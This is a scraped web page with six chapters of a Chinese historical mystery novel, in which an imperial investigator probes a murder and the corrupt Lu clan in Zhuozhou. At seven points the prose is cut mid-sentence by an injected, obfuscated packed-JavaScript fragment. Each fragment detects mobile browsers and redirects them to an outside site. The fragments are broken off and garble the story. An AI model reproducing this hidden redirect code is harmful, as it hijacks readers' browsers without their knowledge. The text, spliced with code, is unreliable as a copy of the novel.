《暮暮卿君色》 第一章 赶路 建安二十三年,霜降。 云暮正在赶路。 她奉皇命暗中微服出巡冀州,带着亲卫一路北上,所到之处,官民同心,就连账册都条款清晰,挑不出一丝错处,也不知他们是真的治理有方还是有人提早通了信。 为了出其不意,她决定先亲卫一步前往涿州城。按照脚程,今夜宵禁前她该到涿州,可天不遂人愿,一场大雨拦住了去路。 她站在树下,正思考着要冒雨前行还是找个地方躲雨,就隐约听到前方传来脚步声。林子里的树藏不了人,周围是些灌木丛,无处可躲,她只能牵着马躲在树后。 马不安地在原地踏了几步,云暮抬手安抚地摸了摸它的鬃毛,随后蹲在了一丛较高的灌木丛后,袖中的匕首也悄无声息地落入手中。 “阿娘,还要多久才到家啊?” 一声稚嫩的声音响起,妇人的声音紧随其后,“圆圆可是走不动了?阿娘背着你吧?” 云暮并未放松警惕,紧盯着两人出现的方向,确认没有其他人后,她才站起身,隔着不远不近的距离喊了一声‘婶子’。 那对母女显然是没想到这荒郊野岭还能有人出现,都被吓了一跳,妇人把小孩护在身后,随手捡了一根树枝,警惕地看着云暮。 云暮见她们这般,终于放下心,她抱拳笑道:“婶子,我欲去涿州,抄近道至此,突遇大雨,敢问附近可有能躲雨的地方?” 妇人似是不信,丢下一句不知就匆匆拉着小女孩走了。 一道惊雷落下,劈倒了不远处的一棵树,云暮心想,再在此地待着不走,只怕下一道雷就劈在她身上了,她咬咬牙,翻身上马,决定冒雨前行,手中的马鞭快要落在马身上时,妇人的声音在她身后响起:“姑娘若不嫌弃,可去我家借宿一晚。” …… 雨幕如织,不时伴随着几道闪电。 酉时才过,涿州城的天色已经暗了下来,而夜晚才是涿州城最热闹的时候。 宽阔的长安大街和洛阳大街交通,把涿州城分为东西南北四个城区,城北的卢氏乃世家大族,近几年重新得到皇帝的重用,连带着涿州也跟着沾光,无数商贾蜂拥而至,只为求得卢氏青眼,从此平步青云。涿州的知县为了讨好卢氏,把四区合并,只分南北两个城区。一州两区,一面繁华,一面沧桑。 自北门往里走,忽见一处蹲着两个双人高的石狮子的宅子,双间广亮大门,正门虽不开,却时时都有四个门房轮班值守,略一抬头,便能看到门上的匾额书着“卢府”两个大字。 再往东走上半个时辰的路程,和南区的萧条不同,此处街道繁华喧嚣,四周人流如潮,不消片刻就看见一座五层的高楼,那便是涿州最大的酒楼,云客渡。 戍时过,宵禁及。 秋夜北风凉,冒雨在两区交汇处摆摊的商贩们磨磨蹭蹭地收拾东西鸣金收兵。 而云客渡的灯笼依旧高悬,宾客推杯换盏,把酒言欢。 负责迎来送往的小二抛着手中的赏钱和同伴炫耀,就被人从身后踢了一脚,正要发怒,扭头看到是卢家少家主卢靖和他的狐朋狗友,小二的脸唰的一下变得煞白,跪在地上哆嗦着身体,铜板掉了一地却无人敢捡。 “什么东西,也敢挡你卢爷爷的道。” 卢靖收回脚,勾住一旁的人,大着舌头说道:“你们还不知道吧,皇帝身边那条乱咬人的疯狗再过几日就要到涿州了。从明日起,全城戌时宵禁。要我说,直接把人套麻袋打一顿,再丢出涿州不就行了?在冀州,老天第一,我卢家第二,就算皇帝老儿来了涿州,都得给老子夹着尾巴做人,我爹还整这么大阵仗让整个冀州都哄着那条疯狗,真是越活越回去了。” 卢家家主妻妾成群,子嗣却不丰,老来才得了卢靖这个嫡子,卢靖要星星,家主和主母还会顺道把月亮摘下来给他。卢家有权有钱,包括涿州在内的整个冀州城都要仰其鼻息,卢靖也被宠成了纨绔中的魁首。 那群公子哥们一向唯卢靖马首是瞻,再加上喝了一个晚上的酒,此时酒意上头也跟着卢靖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14632351|156271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 骂起云暮,更有甚者还拍着胸膛保证道:“少家主大可放心,等云暮来,我们定会给他点颜色瞧瞧,好叫他知道涿州是谁的地!” 卢靖被奉承的话哄得飘飘然,大手一挥:“走,去我的别院,前几日有人送来了几个雏儿,今夜谁都不许走!” 秋末的涿州,万物开始凋零,街道两侧的金桂却还零零散散地开着几朵桂花,卢家的马车飞驰而过,搅散了淡淡的花香。 商贩陆续收摊,就连青楼都开始清场,候在街边的马车见缝插针,只为抢到一个大方的客人,王大勇则不然。眼看着卢家的马车快要从眼前消失,他忙跳上车,手中的马鞭一挥,马儿吃痛,朝前驶去。 寅时四刻,大凶。 一个蓬头垢面的酒蒙子拿着酒壶醉醺醺地四处游荡,东敲门西踹墙,院子内骂声不止,狗吠不息,而后他哈哈大笑地往巷子深处走去。 不知走了多久,酒蒙子醉醺醺地推开了门,屋内漆黑不见五指,小声嘀咕:“怎么有一股腥味呢?” 没走几步就就踩到一个软中带硬的东西,手里的酒壶差点摔了个 稀碎,起身发现是个趴在地上的人时,不禁怒上心头,“什么东西,不知道这里是爷爷我的地盘吗?给老子滚。” 说完,他对着此人的后背就是一脚,见对方没有反应,又揪着衣领把人从地上提起来,对着脸挥了几个拳头,心中的恶气才消散的几分。他甩了甩有些发疼的手,晃晃悠悠地对着瓶口喝了口酒。 这时,狂风拨开乌云,皎洁的月光穿过敞开的房门,落在了地上人的身上,也让酒蒙子看清了脚边的人。 一张被划花的脸直接闯入他的眼帘,双眼瞪得大大的,眼中却空洞无一物,身体早已没有起伏。 酒蒙子腿一软,倒在了地上。惊惧之下,五感放大,晚风吹过杂草发出的声音犹如人的呜咽声,酒蒙子酒醒了大半,他双手撑地,后退了几步,而后转身撒腿就跑,脚边的酒壶被他一脚踹出好几米,碎成了好几瓣,酒味弥漫了整个屋子。 第二章 初到涿州 在来的路上,云暮已经探清了大娘的底细。 丈夫在涿州工作,她带着女儿生活,今日去赶集抄近道回家正巧碰上她。 现在已是酉时,偌大的村子里不过几缕炊烟。进村之时,每家每户大门紧闭,房前屋后的杂草有半人高,只偶尔能看到几个腿脚不便的老人。 她不禁问道:“婶子,村里的人都去哪了?” 大婶烧火的动作顿了顿,“大多都搬走了。” 此地在两城的中间,离官道虽有些距离,但不管去哪都还算方便,云暮不解:“这是为何?” 大婶不答反问:“姑娘孤身一人去涿州,所为何事?” 云暮随口说道:“菊色滋寒露,听说涿州的菊花开得好,便想去看看。” 大婶扭头看了一眼在隔间玩耍的小女孩,而后劝道:“姑娘,听婶子一句劝,明儿一早就回家吧,涿州是个吃人不吐骨头的地方,去不得。” 自从进入冀州的地界,她并未发现任何问题,可没有问题就是最大的问题,或许从大婶这里会想要的消息。 她在大婶身旁坐定,问道:“婶子,可否与我细说?或许我能帮上点忙。” 大婶摇摇头,擦了擦眼角的泪水,“你不过是个未经世事的小姑娘,何苦要来蹚这趟浑水。” 见大婶闭口不语,云暮只好瞎编了一个身份:“婶子,实不相瞒,我此去涿州是为了投奔亲戚,亲戚家中还算有些权势。” 大婶苦笑:“有权势又如何,难道还能大得过卢家?” 云暮有些意外,卢家近年来深受重用,卢氏子弟在朝中进退有度,从不逾矩。她提前来涿州,不过是想碰碰运气,没想到卢家当真有问题,她收回思绪:“婶子,你不说,怎知我帮不上?” 大婶沉默了片刻,终于还是妥协了。 “我们村子原先有二十多户人家,直到两年前有人从我们相遇的那片林子里救了一个姑娘。那姑娘哄着村里的好几个入了青楼,她们的爹娘去报官也没用。后来见骗不到人,她直接带着人明抢,这事闹得人心惶惶,有些连夜搬了家。还没等我们家搬走,大女儿就被卢家少家主看上了,人被强行掳进了府。” “我和夫君去报官,官府却道,能被少家气噌噌直冒:“知县不管,知州也不管吗?” 大婶恨恨道:“知州也是卢家养的鹰犬,只会助纣为虐!” 难怪当时大婶这么警惕,云暮拍了拍大婶的肩,递给她一张帕子,“婶子,我亲戚同卢家有些交情,待我帮你问问,还要劳烦你告诉我那些姑娘的名字。” 大婶猛地看向云暮,激动地抓住她的手:“姑娘,你当真能帮我们?” 云暮拦住要下跪的大婶,许诺:“这是自然,婶子,不管有没有消息,我都会派人来知会一声。” …… 申时二刻,涿州衙门。 今日并非休沐,衙门却闭门谢客。 知县正忐忑地看着端坐在上首的卢家主,脸上堆起一个讨好的笑,正要开口推卸责任,只见卢家主轻敲了一下桌子,他双膝一软,跪在了地上。 今儿早上有人在城南发现了一具尸体,他们当即报了官,但当值的人以不知身份为由,自作主张把尸体送去了义庄,也没人告诉他。 城南不是没死过人,但死状这般凄惨好还是第一次见。那些好事者编了一个又一个故事,一传十,十传百,等官府发现事情闹大之后,为时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14632352|156271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 已晚。 “家主明鉴,都怪那些蠢货不称职,这才……” 卢家主轻掀眼皮,冷冷地觑了他一眼,打断了他的话:“是嘛,我看大人昨夜在迎春楼倒是称职得很。” 早之前就得了云暮微服私访的消息,整个冀州高度戒备,没有被他抓到任何把柄。还有几日对方就要到涿州了,结果这些蠢货直接弄出命案,如今还在找借口推脱责任,卢家主怒不可遏,抄起一旁的茶杯对着知县的脑袋砸了下去。 “我不管你用什么方法,今天你要是不把事情解决了,这乌纱帽也别戴了。” 在场之人的心都落回了原位,卢家主动怒就说明事情还有转圜的余地。 知县忙道:“家主放心,下官定会给您一个交代。” “咚咚咚。” 门外响起敲门声。 卢家主和知县对视了一眼,都从对方的眼睛里看到了疑惑,知县轻抬下巴,示意衙役去开门。 换回男装的云暮一身青袍,双手负在身后,一双桃花眼似笑非笑地越过衙役,看向后面的两人。 “哟,这么热闹啊。” 云暮玩笑了一句,抬腿往里走,衙役不认得她,只知道知县正和卢家主在商讨大事,当即拔剑指向云暮:“官府重地,未经传召,不得擅闯。” 知县这辈子见过最大的官就是就是知州,自然也不认得云暮,只当他是来找事的,“去去去,今儿不上值。” 话音刚落,卢家主的脸黑了几个度,知县不认识,他可是见过对方的,对着知县的脑袋就是一巴掌:“放肆!这是云暮云大人,还不快把剑放下?” 本小章还未完,请点击下一页继续阅读后面精彩内容! 第三章 仇人显踪迹 “死者身份还没确定,尸体是在城东一个无人居住的废弃草屋里发现的,死亡的时间应是在丑时和寅时之间。尸体伤痕无数,致命的一道在胸口,凶器估摸是一尺长的匕首。手腕和脚腕上又明显的勒痕,应是死前被人捆住手脚后施以极刑,最后一击毙命。” “哦,对了,死者的双眼是死后才被人剜下的。”仵作感叹感慨:“听说眼睛可以记录下死者生前看到的画面,也不知他看到了什么,才招此毒手。” 知县瞪了仵作一眼,开始打马虎眼:“城南的人都是一些罔顾人命之徒,这人定是得罪了他们,才被人失手打死。” 云暮并不接话,她站在尸体面前,垂在身侧的手动了动,尽管进城时已经听到有人在议论死因,但尸体出现在云暮面前时,她突然失去了查看的勇气。 见她一脸踌躇,知县勾起一抹恶劣的笑,一把将白布掀开,那张惨不忍睹的脸毫无预兆地出现在云暮面前,记忆如潮水般涌来。 漫天大火里,爹娘被几个蒙面人从马车抛下,她被师父紧紧捂住嘴,泪水糊住了她的双眼,她看不清爹娘的脸,只记得漫天大火里,血肉模糊,空洞的双眼流着两行血泪。 第二天醒来,官府张榜说她爹娘是喝醉失手点了房屋,最后一家三口葬身火海,她想报官却被师父打晕,再次醒来,她已经在下江南的路上了。 云暮握紧双拳,整个人忍不住颤抖,愤怒中还带了一丝激动。 十年了,凶手的踪迹终于显现,她大仇将报! 知县不屑地看着云暮,他不在京城,却也听说过对方的恶名,一个满手血腥的宦官,竟然会被一具尸体吓到,莫不是靠些见不得人的手段上位,他慢吞吞地挪过去:“云大人,此案交给下官就行了,你这是何苦?” 云暮深吸了几口气,勾了勾唇,把知县拉到一旁小声嘀咕:“李兄,本官若不跟着,到时怎么在皇上面前替你美言?” 知县和卢家是相互利用,他背地里替卢家做了不少伤天害理之事,可谓说是一条船上的蚂蚱。再说了,与其去京城伏低做小,处处看人眼色,不如就留在涿州当土皇帝,只要卢家不倒,他就一直能坐稳知县的交椅。但他还是顺着杆子往上爬,自告奋勇地带着云暮去案发地点,俨然一副为国为民的父母官模样。 在巷子里七拐八弯后,终于看到了一个破败的草屋。院子里遍地都是杂草,许是先前下过雨,地上留下了不少带着血的凌乱的脚印,见云暮垂眸不语,知县招手叫来一个离他最近的衙役:“陈源,和云大人说说你们查到的线索。” 陈源不卑不亢地行了一礼:“云大人。” 云暮点了点头:“说说你们的发现。” 小陈指着院子里脚印说道:“这些都不是死者的,死者的脚差不多有一尺,而这个脚印不过七寸,不可能是他的。况且屋内还有酒味和碎掉的酒壶,我们推测应该是在别人报官之前就发现了死者,最后惊惧而逃。” 说完,衙役领着云暮和知县往里走去,隔着白布将一把带血的匕首递给云暮:“这是在屋内找到的凶器。屋内血迹不少,有些甚至还没有干涸,尤其是死者身下,凶手应该是在此处把人杀害。” 云暮拂过沾满血的匕首,眼神微动,她有一把一模一样的,只是她的那把已经被火燎得看不清纹路。 知县原本斜眼觑云暮,在看到匕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14632353|156271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 首时,那双一直打不开的眼睛瞬间瞪大,呼吸也停滞了一瞬。 云暮敏锐地察觉到对方的反应:“李兄认得这个匕首?” 知县干笑了两声:“怎么会,只是觉得这把匕首的纹饰不常见,这才多看两眼。” 说罢,他起身走到檐下监督衙役,步伐有些慌乱。云暮把匕首收进怀里,跟了上去。 巷子逼仄,这边的人住的大多都是茅草屋,房前屋后堆着不少东西,很适合藏匿踪迹。 一阵马蹄声由远及近,来人翻身下马半跪在云暮面前:“大人,属下来迟了。” 云暮简单地和他们交代了一下情况:“如今死者停放在义庄,身份不明,你们分成两队,一队去查查最近可有人失踪,另一队在周围打听打听情况,保不准有人听到过动静。” 她叫出隐在暗处的宋枫:“小枫,你去监视知县。” 知县方才的神情分明就是认识匕首的主人! 昨天听到少女被拐一事,她便飞鸽传书,让手底下的人尽快赶到涿州。看着他们眼下的青黑,想来是连夜赶路,可时间不等人,错过这次机会,她不知道还要等多少个十年,她等不起,也怕等不到。 低矮的房屋挡住倾泻而下的阳光,云暮整个人都被黑暗笼罩,无端让她生出寒意,不知怎的,她总觉得暗处有一双眼睛在注视着她,可环顾四周,却一无所获。 对面城北的一个小摊。 “想必诸位都听说过这样一个说法,死者的眼睛能记录他生前看到的东西,依老夫猜测,他定是发现了什么,才被人灭了口。” 本小章还未完,请点击下一页继续阅读后面精彩内容! 第四章 倒打一耙 昨日摸查了一下午,除去死者的身份,什么有用的消息都没查出来,宋枫也说知县回家后不曾外出,云暮看着卷宗,面色凝重。 刚拿起一份新卷宗,门外忽然传来蒋其的声音:“大人,他们抓到凶手了,是王大勇同屋的李明。” 昨夜知县在云客渡醉成一滩烂泥,今早酒才醒就抓到人了?大理寺卿和京兆尹来了得拜知县为师。 云暮嘴角勾出一抹嘲讽的笑:“是哪个替死鬼?” 蒋其也觉得荒唐:“李明,和王大勇同乡,两人都是送菜工。昨日傍晚,王大勇和李明发生龃龉,二人大吵一场,不欢而散,王大勇当晚就遇害。今儿一早,李明拿一百两银子去迎春楼赎一个姑娘,老鸨给知县递了信,人当场就被抓了。知县说李明见财起意,故而把王大勇杀了,物证是那把纹了‘李’字的匕首。” “李明?长竹村的李明?”云暮猛地抬头。 “正是,大人认识?”蒋其狐疑地看了云暮好几眼,昨日走访之时,也没见他对此人另眼相待啊。 云暮摇摇头,把卷宗搁在一边,“走吧,去瞧瞧青天大老爷是怎么断案的。” 衙门中门大开,云暮一进门,知县便要退位让贤,云暮也不客气,当即坐了下去,笑道:“知县大人兵贵神速,身上酒气未消就把嫌犯抓捕归案,狄公若还在世,都得来涿州拜你为师。” 知县双颊还带着醉酒后的红晕,他顿了顿,不想云暮竟然这般不要脸,干笑了两声:“云大人莫要取笑下官了,不过是凑巧罢了。若非李明贪财好色,光凭那把凶器,下官都不敢妄下结论。三日后于菜市口斩首,云大人到时记得来观刑。” 李明跪在堂下,不停喊冤,额头都磕肿了也没有停下。 云暮转了转手上的玉扳指,悠悠地说道:“本官觉得此案尚有疑点,照知县这般断案,本官也有理由怀疑是你杀了王大勇,毕竟这里姓李的还有知县,你如今草草结案便是急于给自己找替死鬼,李北,本官可曾说错?” 知县名唤李北,听到云暮之言,当下就慌了神,他确实是想找替死鬼,但人确实不是他杀的!他本能辩解:“云大人,冤枉啊,昨日丑时到寅时下官正忙着,难道还能分身去杀害王大勇吗?” “是嘛,证人是谁,如今何在?” 李北吞吞吐吐,说不出一个名字。大梁明令禁止官员嫖娼招妓,他昨夜宿在迎春楼,这事可不敢说给云暮。 他身后的门子见状,附耳说了一句,李北得意地抚了抚须:“云大人,据下官所知,那凶器已不见踪影。” 云暮笑而不语,手臂轻轻一挥,血迹斑斑的匕首咚的一声钉在案上,刀柄的‘李’字正对着李北。 没管摔倒在地的李北,云暮居高临下地看着衙役,冷声道:“李知县有杀死王大勇之嫌,理当避嫌,此案自今日起移交本官,尔等可有异议?” 衙役俯首,唯唯诺诺,哪敢说半个不字? 云暮行事狠辣,手上的人命不计其数,能止小儿夜啼。别说让知县避嫌,他就算当场把知县杀了,再把罪名扣在知县头上,帝后知道了也只会夸他断案如神,当世狄公。 云暮满意勾唇:“李北和李明都有杀人之嫌,暂且收押在监牢。” 说完,她偏头看向身后的门子:“这个奸人,就地正法。” 蒋其把人丢到堂下, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14632354|156271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一剑封喉。 云暮正翻看着李北屈打成招的供词,一个衙役匆匆闯进:“林大人,城北的杨柳胡同发现了……” 见台上坐的是云暮后,话头生生止住,“小的见过云大人。” 云暮嗯了一声:“在杨柳胡同发现了什么?” 衙役支支吾吾,就是不肯明说。 云暮知晓,这些人在涿州当地头蛇惯了,天高皇帝远,又见她只带了五个人,自然不把她放在眼里。她手略抬,抚过令签,下一瞬,令签贴着衙役的耳边插在门柱上。 衙役两股颤颤,扑通一声跪在了地上,鼻尖隐约能闻到一丝血腥气:“大人饶命,小人在杨柳胡同那边发现了王大勇的租赁的马车,还……还有人看到王大勇进了风月居。” 云暮不动声色地往蒋其手里塞了一样东西,低声吩咐∶“你带着几个人去审李明,我带人过去瞧瞧。” …… 杨柳胡同大多都是富商和卢家的别院,王大勇的马车停在离风月居不远的林子里,此地不常有人来,但里面的东西还是被洗劫一空,就连垫的褥子也没了踪影。 那个自称看见王大勇进了风月居的人信誓旦旦地说:“大人,约莫是子时,我正送贵人归家,回家时想抄个近道,行至后门时,正王大勇悄悄开了后门进了风月居。” 云暮顺着脚印往外走:“你怎知那人就是王大勇?” 这人说道:“风月居不管正门后门都挂着五盏灯笼,亮堂得很,草民当时正好驱车到后门,瞧得更加真切了。” 陈源边记边问:“何人能证明你说的话?” 这章没有结束,请点击下一页继续阅读! 第五章 李氏肉铺 牵扯到卢靖,冷意瞬间附上卢宏的脸,质问:“云大人这事何意?” “没什么,只是王大勇死的当晚,有人见过他进了风月居。” 云暮轻飘飘的一句话在卢宏的脑子里炸开了花,他也不再管李北,匆匆离去。 等卢宏赶到迎春楼时,卢靖早就被云暮的人抓到县衙了,他又折回了县衙:“云暮,我儿不可能杀人,你快把人放了。” 云暮好言相劝:“不过是问几句话罢了,若真与他无关,本官自会放他回去,家主先请回吧,您多耽误本官一刻钟,卢靖就会在牢房里多待一刻。” 卢宏伸手指着他的鼻子,冷哼了一声,警告道:“我儿要是擦破点皮,就休怪老夫上达天听,治你个污蔑之罪!” 云暮一把打落他的手:“送客。” “还没醒?” 蒋其有些感慨:“年轻就是好,倒头就睡。” 云暮在旁边的柜子里不停翻找,想找一个趁手的工具给卢靖醒酒。 陈源提着一个人出现在她面前:“大人,此人叫赖大,在案发现场抓到的,当时他正拿着香烛纸钱在屋里祭拜王大勇,比对过脚印,正是其中之一。” 云暮从一众刑具中抬首,手里的铁钩满是血污,唯有尖头部分泛着森森银光,她扯了扯嘴角:“正好卢公子还没清醒,就先拿你开刀吧。你喜欢铁钩、木棍还是刷子?” 赖大的头摇得跟拨浪鼓似的,嘴里不住地喊冤:“大人,人不是我杀的,真不是我杀的!冤枉啊!” 云暮并未搭话,只喊了一声蒋其,对方熟练地把人捆在刑架上。 铁钩放在桌上,把赖大吓得一激灵,还没等云暮发问,他就跟倒豆子似的把经过都说了出来,生怕晚一秒那铁钩就会出现在他的身上。 不过是在破屋发现死人,最后惊惧而逃,算不得什么罪过。 说完,他眼神乱瞟,似是在找人。云暮一看便知他并未把话说全,思考了片刻,从身后掏出铁刷子摆在桌上。 陈源奋笔疾书的手顿了顿,蒋其早就见怪不怪。当初在诏狱,云暮白衣进红衣出,一连半个月,指甲盖里的血迹洗都洗不掉。现在不过是拿刑具威胁,算是菩萨心肠了。 见他还是不肯说,云暮把人赶了出去,临走前,陈源隐晦地扫了赖大一眼。 蒋其把一锭银子放在赖大面前:“能说了吗?不能说就去牢房和知县同住。” 赖大震惊地看着他们,京城来的大官就是不一样,知县说关就关。 “卢家知道知县被你们抓了吗?” 铁钩打断了赖大想要偷摸拿钱的动作,云暮掂了掂银子,不解:“和卢家有什么关系?老东西敢阻拦本官办案那就是违抗圣旨。” 赖大这才放心,他警惕地看了看门口,往前凑了凑,低声说道:“数日前,草民曾撞见王大勇尾随知县。” 云暮提起了精神:“你跟上去了?” 赖大点点头:“草民看着知县进了熟肉胡同的李氏肉铺,王大勇不过片刻就被店家轰出来了,而知县过了两刻钟才出来。草民想着再跟几日,看看王大勇想做什么,好拿去个知县邀功,可谁知……” “大人,人真不是草民杀的。” 云暮又问:“你跟过几次?” 赖大掰着手指算了算:“三次,没记错的话,是九月十四、十七、二十这几日,都在李氏肉铺。” 云暮和蒋其对视了一眼,每隔三 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14632355|156271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 日见一面,照这样算来,今日二十三,正是知县外出的时间。 “什么时间。” “酉时五刻。” 还来得及。 “酉时过后再放你出去,若是你敢戏耍本官,本官会让你尝尝诏狱的手段。” 赖大只恨自己为什么要答应演这出戏,他哆嗦着手发誓:“若有半句虚言,但凭大人处置。若是消息有用,能否……” 他的拇指和食指轻捻了几下。 云暮把银子丢进他怀里:“少不了你的好处,问清楚李氏肉铺的情况。” 房里捣鼓了半个时辰,云暮拿着一样东西走了出来,招手叫来宋枫:“小枫,过来试试这个。” …… 酉时五刻,“知县李北”准点出现在了李氏肉铺的门口,周围的百姓都笑着同他问好。两刻钟后,“李北”提着一个纸包走了出来,到一条无人的小巷时,他撕开脸皮,下面赫然是小七的脸。 云暮接过纸包:“里头没人?” 宋枫摇摇头:“没有,属下把屋子翻了个底朝天,只找到了这包东西比较可疑的东西。” 云暮飞速打开纸包,里头是一大块去了皮的羊腿肉,她捏了捏,发觉中间的手感有些不同。 匕首把肉块一分为二,中间黑褐色的药膏映入他们眼中。 羊肉的膻味混着尿味,二人屏住呼吸。 “这是何物?” 云暮用匕首挖出一点放到鼻尖,而后闭眼把头扭向旁边,脑子里只有一个念头,那就是想呕。 …… 秋夜北风凉,坊市里的摊贩正热火朝天地吆喝。 这章没有结束,请点击下一页继续阅读! 第六章 送上门的消息 被人戳破心底的秘密,清风全身紧绷,却还是矢口否认:“奴家不懂大人在说些什么。” 云暮不想再和她扯皮,要是在京城,她早把人送去诏狱了,把诏狱的酷刑都使个遍,对方就算是阎王在世,都得给她开口。 她把李大婶给的东西抛到清风怀里,语气带了些不耐:“你想好再开口,否则这舌头也别要了。” 一枚不值钱的戒指,却和清风手上带的一模一样。 清风膝行至云暮脚边,仰头看他:“大人,奴家说了,你能否保奴家性命无忧?” 云暮抚上她细长白皙的脖颈,手指慢慢收力:“你若是不说,今儿晚上你和李明都得死。” 清风咽了咽口水:“我爹他们原先只是想混进卢家救出李叔的女儿,也偷偷去过风月居几回,还是没找到。” “一个月前,涿州来了几个生面孔,有人说他们是胡人,没多久我爹就发现知县偷偷和人碰头,但具体做什么就不清楚了。” 这些和赖大说的没有什么出入,也不知道蒋其他们能不能蹲到人,云暮轻点了一下桌子,问她:“知县可有把人带来迎春楼?” 清风摇摇头:“不曾,半个月前,知县便不时把人叫去府上,奴家去过几次,但都只是隔着帘子抚琴助兴,未能窥见分毫。回来后奴家偷偷打听过,那些姐妹被蒙住双眼,看不见人,只知道他们身上有异味,络腮胡也不刮,恶心得很,想来他们就是那伙活人了。” 云暮掏出随身带的匕首:“他们身上可有这个匕首?” 清风忍着恐惧接过血迹斑驳的匕首,鼻头发酸:“这是杀死我爹的凶器吗?” “是。” 清风把匕首贴在心口,闭目把眼泪逼了回去:“见过,就在知县府上,那日他们将衣袍丢在地上,有把匕首滚了出来,当时奴家觉得好看,就多看了两眼,大人,凶手不可能是李叔!” 云暮眉头紧皱。若清风说的不假,王大勇和她爹娘一样,都是被胡人所杀。 先帝即位后曾御驾亲征,把胡人打到了北境,即使过了几十年,胡人还是不敢南下牧马,如今他们是怎么混进大梁,又如何到了涿州?她爹娘是因为发现胡人和谁的秘密才导致身死? 照此算来,胡人在大梁盘踞的时间少说都有十年。这么久了,却不曾被人发觉,可见他们的靠山位高权重,知县这个连面圣机会都没有的小官是如何搭上胡人这条线的?待云暮收回思绪,才发觉额头已经蒙上了一层薄薄的冷汗,看来涿州的水没有表面这么平静啊。 她面色凝重地放下一锭银子:“这张琴本官赔了,最近可能有人会盯上你,你谨慎些罢,若有事就派人去府衙找本官。” 云暮走出迎春楼,深吸了一口气,心口却还是像被石头堵住那般压抑。她的脑海里浮现出不少人的脸,帝后、贵妃、丞相…… 心中烦闷,一时不察,和一人迎面撞上,云暮不悦抬头。 是他。 云暮毫不费力地认出了眼前之人,她记性很好,眼力亦是。和城南一桥之隔的说书摊子的匆匆一眼,云客渡的隔窗相望,还有今儿午时的那一面。 不过两三日,就和此人打了好几个照面,是巧合还是苦心经营? 云暮正要绕过眼前人,就听见他温润的声音响起:“草民冒犯,不知大人能否赏脸共饮一杯?” 云暮了然,又是一个攀权附贵之徒,她头也不回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14632356|156271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地回绝:“滚。” 男人低低地叹了一声,“大人可是不满意草民送的马车?既如此,草民这里也还有一条大人想要的消息,比如胡人。” 胡人二字说的很轻,偏又一字不落地钻进她的耳朵里。 清酒入杯,酒香弥漫了整个包间,男人笑道:“这是梨花白,大人尝尝和京城的有何不同。” 云暮没有看酒,反倒是死死盯着男人:“你是何人,马车和胡人是何意?” 男人满眼懊悔,略带歉意地笑了笑:“大人得恕草民无罪,否则草民是万万不敢说的。” 云暮好笑发问:“你是威胁本官?” 沈聿明断定他手里没有线索,自信开口:“大人,一句承诺换这么多线索,是您占草民便宜了。” 